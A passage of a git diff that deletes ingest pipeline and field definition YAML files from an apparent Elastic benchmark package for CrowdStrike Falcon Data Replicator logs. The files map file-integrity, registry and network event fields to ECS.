-      tag: rename_crowdstrike_Name_to_rule_name_0af962b5
-      field: crowdstrike.Name
-      target_field: rule.name
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_DetectId_to_rule_id_64a9abd2
-      field: crowdstrike.DetectId
-      target_field: rule.id
-      ignore_missing: true
-  - append:
-      tag: append_crowdstrike_MACAddress_into_host_mac_c3cddec3
-      if: ctx.crowdstrike?.MACAddress != null && ctx.crowdstrike.MACAddress != ""
-      field: host.mac
-      value: '{{{crowdstrike.MACAddress}}}'
-      allow_duplicates: false
-  - uppercase:
-      tag: uppercase_host_mac_a2d4985e
-      if: ctx.host?.mac != null
-      field: host.mac
-      ignore_missing: true
-
-  # error handling
-on_failure:
-  - append:
-      tag: append_error_message_9319ae1f
-      field: error.message
-      value: Processor "{{{ _ingest.on_failure_processor_type }}}" with tag "{{{ _ingest.on_failure_processor_tag }}}" in pipeline "{{{ _ingest.on_failure_pipeline }}}" failed with message "{{{ _ingest.on_failure_message }}}"
-  - set:
-      tag: set_pipeline_error_into_event_kind_f51b77ad
-      field: event.kind
-      value: pipeline_error
-  - append:
-      tag: append_preserve_original_event_into_tags_d762b9c5
-      field: tags
-      value: preserve_original_event
-      allow_duplicates: false
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/fim_rule_matched.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/fim_rule_matched.yml
deleted file mode 100644
index 68684856a4..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/fim_rule_matched.yml
+++ /dev/null
@@ -1,397 +0,0 @@
----
-description: Pipeline for processing FileIntegrityMonitorRuleMatched and FileIntegrityMonitorRuleMatchedEnriched events from Falcon FileVantage.
-processors:
-
-  # event categorization fields
-  - set:
-      tag: set_event_kind_to_event_de80643c
-      field: event.kind
-      value: event
-  - append:
-      tag: append_file_to_event_category_5b7e3a2d
-      if: ctx.crowdstrike?.ObjectType != null && (ctx.crowdstrike.ObjectType == '1' || ctx.crowdstrike.ObjectType == '2')
-      field: event.category
-      value: file
-      allow_duplicates: false
-  - append:
-      tag: append_registry_to_event_category_c6ba5eba
-      if: ctx.crowdstrike?.ObjectType != null && (ctx.crowdstrike.ObjectType == '3' || ctx.crowdstrike.ObjectType == '4')
-      field: event.category
-      value: registry
-      allow_duplicates: false
-  # fall back to file category for Enriched events
-  - append:
-      tag: append_file_to_event_category_32d4d587
-      if: ctx.event.category == null
-      field: event.category
-      value: file
-  - script:
-      tag: script_set_event_type_6a155454
-      if: ctx.crowdstrike?.ObjectAccessOperationType != null
-      params:
-        op_types:
-          "1": creation
-          "2": change
-          "3": deletion
-          "4": change
-          "5": change
-          "6": change
-          "7": change
-          "8": access
-      source: |-
-        def type = params.get('op_types')[ctx.crowdstrike.ObjectAccessOperationType];
-        if (type != null) {
-          ctx.event = ctx.event ?: [:];
-          ctx.event.type = [type];
-        }
-      on_failure:
-        - append:
-            tag: append_error_message_7270a1e4
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  # fall back to change type for Enriched events
-  - append:
-      tag: append_change_to_event_type_d125ca99
-      if: ctx.event.type == null
-      field: event.type
-      value: change
-
-  # field values mapping
-  - script:
-      tag: script_set_object_type_348f5b4a
-      if: ctx.crowdstrike?.ObjectType != null
-      params:
-        obj_types:
-          "1": FILE
-          "2": FOLDER
-          "3": VALUE
-          "4": KEY
-      source: |-
-        def type = params.get('obj_types')[ctx.crowdstrike.ObjectType];
-        if (type != null) {
-        	ctx.crowdstrike.ObjectType = type;
-        }
-      on_failure:
-        - append:
-            tag: append_error_message_da5b712a
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - script:
-      tag: script_set_operation_type_70f01684
-      if: ctx.crowdstrike?.ObjectAccessOperationType != null
-      params:
-        op_types:
-          "1": CREATE
-          "2": WRITE
-          "3": DELETE
-          "4": SET
-          "5": RENAME
-          "6": ATTRIBUTES_CHANGED
-          "7": PERMISSIONS_CHANGED
-          "8": OPEN_WRITE
-      source: |-
-        def type = params.get('op_types')[ctx.crowdstrike.ObjectAccessOperationType];
-        if (type != null) {
-        	ctx.crowdstrike.ObjectAccessOperationType = type;
-        }
-      on_failure:
-        - append:
-            tag: append_error_message_689b42d4
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-
-  # converts
-  - convert:
-      tag: convert_crowdstrike_ContentDiff_Exists_to_boolean_9647694e
-      field: crowdstrike.ContentDiff.Exists
-      type: boolean
-      ignore_missing: true
-      on_failure:
-        - remove:
-            tag: remove_crowdstrike_ContentDiff_Exists_a5ef3c39
-            field:
-              - crowdstrike.ContentDiff.Exists
-        - append:
-            tag: append_error_message_4531827e
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      tag: convert_crowdstrike_Suppression_Suppressed_to_boolean_64590ae3
-      field: crowdstrike.Suppression.Suppressed
-      type: boolean
-      ignore_missing: true
-      on_failure:
-        - remove:
-            tag: remove_crowdstrike_Suppression_Suppressed_6d408885
-            field:
-              - crowdstrike.Suppression.Suppressed
-        - append:
-            tag: append_error_message_2bb5a411
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      tag: convert_crowdstrike_PolicyRuleSeverity_to_long_29e3439d
-      field: crowdstrike.PolicyRuleSeverity
-      type: long
-      ignore_missing: true
-      on_failure:
-        - remove:
-            tag: remove_crowdstrike_PolicyRuleSeverity_d600dfd1
-            field:
-              - crowdstrike.PolicyRuleSeverity
-        - append:
-            tag: append_error_message_fca361b3
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      tag: convert_crowdstrike_FileSize_to_long_57c441c5
-      field: crowdstrike.FileSize
-      type: long
-      ignore_missing: true
-      on_failure:
-        - append:
-            tag: append_error_message_e42344eb
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-
-  # timestamps
-  - date:
-      tag: date_crowdstrike_RuleModifiedTimeStamp_into_crowdstrike_RuleModifiedTimeStamp_8d1f9a9e
-      if: ctx.crowdstrike?.RuleModifiedTimeStamp != null && ctx.crowdstrike.RuleModifiedTimeStamp != ''
-      field: crowdstrike.RuleModifiedTimeStamp
-      target_field: crowdstrike.RuleModifiedTimeStamp
-      formats:
-        - UNIX
-        - UNIX_MS
-      timezone: UTC
-      on_failure:
-        - remove:
-            tag: remove_RuleModifiedTimeStamp_10560cc7
-            field:
-              - RuleModifiedTimeStamp
-        - append:
-            tag: append_error_message_a976ed0e
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-
-  # ECS mappings
-  - set:
-      tag: set_user_id_from_crowdstrike_User_ID_494678a0
-      field: user.id
-      copy_from: crowdstrike.User.ID
-      ignore_empty_value: true
-  - set:
-      tag: set_user_name_from_crowdstrike_User_Name_2a157dc4
-      field: user.name
-      copy_from: crowdstrike.User.Name
-      ignore_empty_value: true
-  - set:
-      tag: set_host_hostname_from_crowdstrike_Host_Name_97f29382
-      field: host.hostname
-      copy_from: crowdstrike.Host.Name
-      ignore_empty_value: true
-  - set:
-      tag: set_rule_name_from_crowdstrike_Policy_RuleBasePath_cb4280e1
-      field: rule.name
-      copy_from: crowdstrike.Policy.RuleBasePath
-      ignore_empty_value: true
-  - set:
-      tag: set_rule_ruleset_from_crowdstrike_Policy_RuleGroupName_148ba698
-      field: rule.ruleset
-      copy_from: crowdstrike.Policy.RuleGroupName
-      ignore_empty_value: true
-  - set:
-      tag: set_file_hash_sha256_from_crowdstrike_ContentDiff_SHA256_ed9edf84
-      field: file.hash.sha256
-      copy_from: crowdstrike.ContentDiff.SHA256
-      ignore_empty_value: true
-  - set:
-      tag: set_rule_id_from_crowdstrike_PolicyRuleID_d838e264
-      field: rule.id
-      copy_from: crowdstrike.PolicyRuleID
-      ignore_empty_value: true
-  - set:
-      tag: set_rule_ruleset_from_crowdstrike_PolicyRuleGroupID_f58c49f0
-      field: rule.ruleset
-      copy_from: crowdstrike.PolicyRuleGroupID
-      ignore_empty_value: true
-  - set:
-      tag: set_file_size_from_crowdstrike_FileSize_58cea3ea
-      field: file.size
-      copy_from: crowdstrike.FileSize
-      ignore_empty_value: true
-  - set:
-      tag: set_file_owner_from_crowdstrike_NewOwner_9af693ec
-      field: file.owner
-      copy_from: crowdstrike.NewOwner
-      ignore_empty_value: true
-  - set:
-      tag: set_file_group_from_crowdstrike_NewGroup_b85bdf80
-      field: file.group
-      copy_from: crowdstrike.NewGroup
-      ignore_empty_value: true
-  - append:
-      tag: append_crowdstrike_FileAttributesNew_into_file_attributes_2d526026
-      if: ctx.crowdstrike?.FileAttributesNew != null
-      field: file.attributes
-      value: '{{{crowdstrike.FileAttributesNew}}}'
-      allow_duplicates: false
-  - append:
-      tag: append_crowdstrike_NewFileAttributesLinux_into_file_attributes_97600240
-      if: ctx.crowdstrike?.NewFileAttributesLinux != null
-      field: file.attributes
-      value: '{{{crowdstrike.NewFileAttributesLinux}}}'
-      allow_duplicates: false
-  - append:
-      tag: append_file_hash_sha256_into_related_hash_017aef51
-      if: ctx.file?.hash?.sha256 != null
-      field: related.hash
-      value: '{{{file.hash.sha256}}}'
-      allow_duplicates: false
-  - script:
-      tag: script_set_event_severity_from_PolicyRuleSeverity_4032c1c4
-      if: ctx.crowdstrike?.PolicyRuleSeverity != null
-      source: |-
-        ctx.event = ctx.event ?: [:];
-        def severity = ctx.crowdstrike.PolicyRuleSeverity;
-        if (severity == 1) {
-        	ctx.event.severity = 21;
-        } else if (severity == 2) {
-        	ctx.event.severity = 47;
-        } else if (severity == 3) {
-        	ctx.event.severity = 73;
-        } else if (severity == 4) {
-        	ctx.event.severity = 99;
-        }
-      on_failure:
-        - append:
-            tag: append_error_message_cdf0b014
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-
-  # rename event handling for files and registry
-  - set:
-      tag: set_file_path_from_ObjectNameNew_for_rename_events_0400ebd4
-      if: ctx.crowdstrike?.ObjectAccessOperationType == 'RENAME' && (ctx.crowdstrike.ObjectType == 'FILE' || ctx.crowdstrike.ObjectType == 'FOLDER')
-      field: file.path
-      copy_from: crowdstrike.ObjectNameNew
-      ignore_empty_value: true
-  - set:
-      tag: set_file_original_path_from_ObjectName_for_rename_events_49f9c5d0
-      if: ctx.crowdstrike?.ObjectAccessOperationType == 'RENAME' && (ctx.crowdstrike.ObjectType == 'FILE' || ctx.crowdstrike.ObjectType == 'FOLDER')
-      field: file.Ext.original.path
-      copy_from: crowdstrike.ObjectName
-      ignore_empty_value: true
-  - set:
-      tag: set_registry_path_from_ObjectNameNew_for_rename_events_ee30dbc5
-      if: ctx.crowdstrike?.ObjectAccessOperationType == 'RENAME' && (ctx.crowdstrike.ObjectType == 'VALUE' || ctx.crowdstrike.ObjectType == 'KEY')
-      field: registry.path
-      copy_from: crowdstrike.ObjectNameNew
-      ignore_empty_value: true
-  - set:
-      tag: set_file_path_from_ObjectName_for_non-rename_events_d432ea88
-      if: ctx.crowdstrike?.ObjectAccessOperationType != 'RENAME' && (ctx.crowdstrike.ObjectType == 'FILE' || ctx.crowdstrike.ObjectType == 'FOLDER') && ctx.file?.path == null
-      field: file.path
-      copy_from: crowdstrike.ObjectName
-      ignore_empty_value: true
-  - set:
-      tag: set_registry_path_from_ObjectName_for_non-rename_events_ae198652
-      if: ctx.crowdstrike?.ObjectAccessOperationType != 'RENAME' && (ctx.crowdstrike.ObjectType == 'VALUE' || ctx.crowdstrike.ObjectType == 'KEY') && ctx.registry?.path == null
-      field: registry.path
-      copy_from: crowdstrike.ObjectName
-      ignore_empty_value: true
-  - set:
-      tag: set_file_type_to_dir_for_folders_3a399212
-      if: ctx.crowdstrike?.ObjectType == 'FOLDER' && ctx.file?.path != null
-      field: file.type
-      value: dir
-      ignore_empty_value: true
-  - set:
-      tag: set_file_type_to_file_for_files_f5d7d730
-      if: ctx.crowdstrike?.ObjectType == 'FILE' && ctx.file?.path != null && ctx.file?.type == null
-      field: file.type
-      value: file
-      ignore_empty_value: true
-  # file.path parsing and file.Ext.original.path parsing are handled by default.yml pipeline
-
-  - script:
-      description: Parse registry path to extract registry key and value
-      tag: parse_registry_path_to_extract_registry_key_and_value_8265f599
-      if: ctx.registry?.path != null && ctx.registry.path.length() > 0
-      source: |-
-        def path = ctx.registry.path;
-        def idx = path.lastIndexOf('\\');
-        if (idx >= 0) {
-        	ctx.registry = ctx.registry ?: [:];
-        	ctx.registry.key = path.substring(0, idx);
-        	ctx.registry.value = path.substring(idx+1);
-        } else {
-        	ctx.registry = ctx.registry ?: [:];
-        	ctx.registry.key = path;
-        }
-        // Clean up registry.key: remove \REGISTRY\(USER|MACHINE)\ prefix
-        if (ctx.registry.key != null) {
-        	def key = ctx.registry.key;
-        	if (key.startsWith('\\REGISTRY\\USER\\')) {
-        		ctx.registry.key = key.substring('\\REGISTRY\\USER\\'.length());
-        	} else if (key.startsWith('\\REGISTRY\\MACHINE\\')) {
-        		ctx.registry.key = key.substring('\\REGISTRY\\MACHINE\\'.length());
-        	}
-        }
-      on_failure:
-        - append:
-            tag: append_error_message_b5482b4f
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-
-  # FileIntegrityMonitorRuleMatched renames
-  - rename:
-      tag: rename_PolicyIdentifier_to_Policy_ID_f03b77d2
-      field: crowdstrike.PolicyIdentifier
-      target_field: crowdstrike.Policy.ID
-      ignore_missing: true
-
-  # clean up
-  - remove:
-      tag: remove_custom_duplicate_fields_fb958877
-      field:
-        - crowdstrike.User
-        - crowdstrike.Host.Name
-        - crowdstrike.Policy.RuleBasePath
-        - crowdstrike.Policy.RuleGroupName
-        - crowdstrike.ContentDiff.SHA256
-        - crowdstrike.PolicyRuleID
-        - crowdstrike.PolicyRuleGroupID
-        - crowdstrike.FileSize
-        - crowdstrike.NewOwner
-        - crowdstrike.NewGroup
-        - crowdstrike.ObjectName
-        - crowdstrike.ObjectNameNew
-      ignore_missing: true
-
-  # error handling
-  - set:
-      tag: set_pipeline_error_into_event_kind_92954dfa
-      if: ctx.error?.message != null
-      field: event.kind
-      value: pipeline_error
-  - append:
-      tag: append_preserve_original_event_into_event_kind_a0b8d607
-      if: ctx.error?.message != null
-      field: event.kind
-      value: preserve_original_event
-      allow_duplicates: false
-on_failure:
-  - append:
-      tag: append_error_message_d1950926
-      field: error.message
-      value: Processor '{{{ _ingest.on_failure_processor_type }}}' {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}' {{{/_ingest.on_failure_processor_tag}}}failed with message '{{{ _ingest.on_failure_message }}}'
-  - set:
-      tag: set_pipeline_error_into_event_kind_f51b77ad
-      field: event.kind
-      value: pipeline_error
-  - append:
-      tag: append_preserve_original_event_into_event_kind_c274f7a2
-      field: event.kind
-      value: preserve_original_event
-      allow_duplicates: false
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/inbound_network.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/inbound_network.yml
deleted file mode 100644
index eb0cf512b1..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/inbound_network.yml
+++ /dev/null
@@ -1,109 +0,0 @@
----
-description: Pipeline for processing inbound network details
-processors:
-  - set:
-      tag: destination_ip_from_currentlocalip_5ec76119
-      if: ctx.destination?.ip == null && ctx.crowdstrike?.CurrentLocalIP != null
-      field: destination.ip
-      value: '{{{crowdstrike.CurrentLocalIP}}}'
-  - set:
-      tag: destination_ip_from_localip_5f25abed
-      if: ctx.destination?.ip == null && ctx.crowdstrike?.LocalIP != null
-      field: destination.ip
-      value: '{{{crowdstrike.LocalIP}}}'
-  - set:
-      tag: destination_ip_from_localaddressip4_c71b6775
-      if: ctx.destination?.ip == null && ctx.crowdstrike?.LocalAddressIP4 instanceof List && ctx.crowdstrike.LocalAddressIP4.length > 0
-      field: destination.ip
-      value: '{{{crowdstrike.LocalAddressIP4.0}}}'
-  - set:
-      tag: destination_ip_from_localaddressip6_d552cc47
-      if: ctx.destination?.ip == null && ctx.crowdstrike?.LocalAddressIP6 instanceof List && ctx.crowdstrike.LocalAddressIP6.length > 0
-      field: destination.ip
-      value: '{{{crowdstrike.LocalAddressIP6.0}}}'
-  - convert:
-      tag: convert_destination_ip_to_ip_559e911d
-      field: destination.ip
-      type: ip
-      ignore_missing: true
-      on_failure:
-        - remove:
-            tag: remove_destination_ip_7d606e5d
-            field:
-              - destination.ip
-            ignore_missing: true
-        - append:
-            tag: append_error_message_c754ca33
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - set:
-      tag: set_destination_address_a940017a
-      field: destination.address
-      copy_from: destination.ip
-      ignore_empty_value: true
-  - rename:
-      tag: rename_crowdstrike_LocalPort_to_destination_port_60fd7022
-      field: crowdstrike.LocalPort
-      target_field: destination.port
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_MAC_to_destination_mac_07d8427b
-      field: crowdstrike.MAC
-      target_field: destination.mac
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_PhysicalAddress_to_destination_mac_bade699a
-      if: ctx.destination?.mac == null
-      field: crowdstrike.PhysicalAddress
-      target_field: destination.mac
-      ignore_missing: true
-  - convert:
-      tag: convert_crowdstrike_RemoteAddressIP4_to_ip_913ca686
-      field: crowdstrike.RemoteAddressIP4
-      type: ip
-      ignore_missing: true
-      on_failure:
-        - remove:
-            tag: remove_crowdstrike_RemoteAddressIP4_578bef43
-            field:
-              - crowdstrike.RemoteAddressIP4
-            ignore_missing: true
-        - append:
-            tag: append_error_message_263c65c6
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - rename:
-      tag: rename_crowdstrike_RemoteAddressIP4_to_source_ip_2b41d652
-      field: crowdstrike.RemoteAddressIP4
-      target_field: source.ip
-      ignore_missing: true
-  - convert:
-      tag: convert_crowdstrike_RemoteAddressIP6_to_ip_96d0c7bc
-      field: crowdstrike.RemoteAddressIP6
-      type: ip
-      ignore_missing: true
-      on_failure:
-        - remove:
-            tag: remove_crowdstrike_RemoteAddressIP6_810cbb5b
-            field:
-              - crowdstrike.RemoteAddressIP6
-            ignore_missing: true
-        - append:
-            tag: append_error_message_85851e5c
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - rename:
-      tag: rename_crowdstrike_RemoteAddressIP6_to_source_ip_f4aba960
-      field: crowdstrike.RemoteAddressIP6
-      target_field: source.ip
-      ignore_missing: true
-  - set:
-      tag: set_source_address_070d27e8
-      field: source.address
-      copy_from: source.ip
-      ignore_empty_value: true
-  - rename:
-      tag: rename_crowdstrike_RemotePort_to_source_port_4c87dfc0
-      field: crowdstrike.RemotePort
-      target_field: source.port
-      ignore_missing: true
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/outbound_network.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/outbound_network.yml
deleted file mode 100644
index 382ecde3f5..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/outbound_network.yml
+++ /dev/null
@@ -1,109 +0,0 @@
----
-description: Pipeline for processing outbound network details
-processors:
-  - set:
-      tag: source_ip_from_currentlocalip_dc8d0d2d
-      if: ctx.source?.ip == null && ctx.crowdstrike?.CurrentLocalIP != null
-      field: source.ip
-      value: '{{{crowdstrike.CurrentLocalIP}}}'
-  - set:
-      tag: source_ip_from_localip_005159a1
-      if: ctx.source?.ip == null && ctx.crowdstrike?.LocalIP != null
-      field: source.ip
-      value: '{{{crowdstrike.LocalIP}}}'
-  - set:
-      tag: source_ip_from_localaddressip4_bf550fb1
-      if: ctx.source?.ip == null && ctx.crowdstrike?.LocalAddressIP4 instanceof List && ctx.crowdstrike.LocalAddressIP4.length > 0
-      field: source.ip
-      value: '{{{crowdstrike.LocalAddressIP4.0}}}'
-  - set:
-      tag: source_ip_from_localaddressip6_615c3693
-      if: ctx.source?.ip == null && ctx.crowdstrike?.LocalAddressIP6 instanceof List && ctx.crowdstrike.LocalAddressIP6.length > 0
-      field: source.ip
-      value: '{{{crowdstrike.LocalAddressIP6.0}}}'
-  - convert:
-      tag: convert_source_ip_to_ip_4084ea08
-      field: source.ip
-      type: ip
-      ignore_missing: true
-      on_failure:
-        - remove:
-            tag: remove_source_ip_178b5ee1
-            field:
-              - source.ip
-            ignore_missing: true
-        - append:
-            tag: append_error_message_b943fc68
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - set:
-      tag: set_source_address_070d27e8
-      field: source.address
-      copy_from: source.ip
-      ignore_empty_value: true
-  - rename:
-      tag: rename_crowdstrike_LocalPort_to_source_port_38b3032d
-      field: crowdstrike.LocalPort
-      target_field: source.port
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_MAC_to_source_mac_41d0f60c
-      field: crowdstrike.MAC
-      target_field: source.mac
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_PhysicalAddress_to_source_mac_92994720
-      if: ctx.source?.mac == null
-      field: crowdstrike.PhysicalAddress
-      target_field: source.mac
-      ignore_missing: true
-  - convert:
-      tag: convert_crowdstrike_RemoteAddressIP4_to_ip_913ca686
-      field: crowdstrike.RemoteAddressIP4
-      type: ip
-      ignore_missing: true
-      on_failure:
-        - remove:
-            tag: remove_crowdstrike_RemoteAddressIP4_578bef43
-            field:
-              - crowdstrike.RemoteAddressIP4
-            ignore_missing: true
-        - append:
-            tag: append_error_message_263c65c6
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - rename:
-      tag: rename_crowdstrike_RemoteAddressIP4_to_destination_ip_92030b2f
-      field: crowdstrike.RemoteAddressIP4
-      target_field: destination.ip
-      ignore_missing: true
-  - convert:
-      tag: convert_crowdstrike_RemoteAddressIP6_to_ip_96d0c7bc
-      field: crowdstrike.RemoteAddressIP6
-      type: ip
-      ignore_missing: true
-      on_failure:
-        - remove:
-            tag: remove_crowdstrike_RemoteAddressIP6_810cbb5b
-            field:
-              - crowdstrike.RemoteAddressIP6
-            ignore_missing: true
-        - append:
-            tag: append_error_message_85851e5c
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - rename:
-      tag: rename_crowdstrike_RemoteAddressIP6_to_destination_ip_437bcd59
-      field: crowdstrike.RemoteAddressIP6
-      target_field: destination.ip
-      ignore_missing: true
-  - set:
-      tag: set_destination_address_a940017a
-      field: destination.address
-      copy_from: destination.ip
-      ignore_empty_value: true
-  - rename:
-      tag: rename_crowdstrike_RemotePort_to_destination_port_4c4d0f5d
-      field: crowdstrike.RemotePort
-      target_field: destination.port
-      ignore_missing: true
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/base-fields.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/base-fields.yml
deleted file mode 100644
index 40140d2dec..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/base-fields.yml
+++ /dev/null
@@ -1,54 +0,0 @@
-- external: ecs
-  name: ecs.version
-  type: constant_keyword
-  value: 8.17.0
-- name: input.type
-  type: keyword
-- name: log.offset
-  type: long
-- name: data_stream.type
-  type: constant_keyword
-  description: Data stream type.
-- name: data_stream.dataset
-  type: constant_keyword
-  description: Data stream dataset.
-- name: data_stream.namespace
-  type: constant_keyword
-  description: Data stream namespace.
-- name: event.module
-  type: constant_keyword
-  description: Event module
-  value: crowdstrike
-- name: event.dataset
-  type: constant_keyword
-  description: Event dataset
-  value: crowdstrike.fdr
-- name: '@timestamp'
-  type: date
-  description: Event timestamp.
-- external: ecs
-  name: observer.vendor
-  type: constant_keyword
-  value: crowdstrike
-- external: ecs
-  name: observer.type
-  type: constant_keyword
-  value: agent
-- name: aws.s3
-  type: group
-  fields:
-    - name: bucket
-      type: group
-      fields:
-        - name: name
-          type: keyword
-          description: The AWS S3 bucket name.
-        - name: arn
-          type: keyword
-          description: The AWS S3 bucket ARN.
-    - name: object
-      type: group
-      fields:
-        - name: key
-          type: keyword
-          description: The AWS S3 Object key.
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/ecs.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/ecs.yml
deleted file mode 100644
index ff12841373..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/ecs.yml
+++ /dev/null
@@ -1,255 +0,0 @@
-# Remove this file when kibana.version satisfied ^8.14.
-- external: ecs
-  name: destination.address
-- external: ecs
-  name: destination.as.number
-- external: ecs
-  name: destination.as.organization.name
-- external: ecs
-  name: destination.geo.city_name
-- external: ecs
-  name: destination.geo.continent_name
-- external: ecs
-  name: destination.geo.country_iso_code
-- external: ecs
-  name: destination.geo.country_name
-- external: ecs
-  name: destination.geo.location
-- external: ecs
-  name: destination.geo.region_iso_code
-- external: ecs
-  name: destination.geo.region_name
-- external: ecs
-  name: destination.ip
-- external: ecs
-  name: destination.port
-- external: ecs
-  name: device.id
-- external: ecs
-  name: dns.question.name
-- external: ecs
-  name: dns.question.registered_domain
-- external: ecs
-  name: dns.question.subdomain
-- external: ecs
-  name: dns.question.top_level_domain
-- external: ecs
-  name: dns.question.type
-- external: ecs
-  name: dns.type
-- external: ecs
-  name: event.action
-- external: ecs
-  name: event.category
-- external: ecs
-  name: event.created
-- external: ecs
-  name: event.id
-- external: ecs
-  name: event.kind
-- external: ecs
-  name: event.original
-- external: ecs
-  name: event.outcome
-- external: ecs
-  name: event.timezone
-- external: ecs
-  name: event.type
-- external: ecs
-  name: file.device
-- external: ecs
-  name: file.directory
-- external: ecs
-  name: file.drive_letter
-- external: ecs
-  name: file.extension
-- external: ecs
-  name: file.hash.sha256
-- external: ecs
-  name: file.inode
-- external: ecs
-  name: file.name
-- external: ecs
-  name: file.path
-- external: ecs
-  name: file.size
-- external: ecs
-  name: file.type
-- external: ecs
-  name: group.id
-- external: ecs
-  name: host.geo.city_name
-- external: ecs
-  name: host.geo.continent_name
-- external: ecs
-  name: host.geo.country_name
-- external: ecs
-  name: host.geo.timezone
-- external: ecs
-  name: host.domain
-- external: ecs
-  name: host.hostname
-- external: ecs
-  name: host.ip
-- external: ecs
-  name: host.name
-- external: ecs
-  name: log.file.path
-- external: ecs
-  name: network.community_id
-- external: ecs
-  name: network.direction
-- external: ecs
-  name: network.iana_number
-- external: ecs
-  name: network.transport
-- external: ecs
-  name: observer.geo.city_name
-- external: ecs
-  name: observer.geo.continent_name
-- external: ecs
-  name: observer.geo.country_iso_code
-- external: ecs
-  name: observer.geo.country_name
-- external: ecs
-  name: observer.geo.location
-- external: ecs
-  name: observer.geo.region_iso_code
-- external: ecs
-  name: observer.geo.region_name
-- external: ecs
-  name: observer.ip
-- external: ecs
-  name: observer.serial_number
-- external: ecs
-  name: observer.version
-- external: ecs
-  name: host.os.type
-- external: ecs
-  name: host.os.version
-- external: ecs
-  name: process.args
-- external: ecs
-  name: process.args_count
-- external: ecs
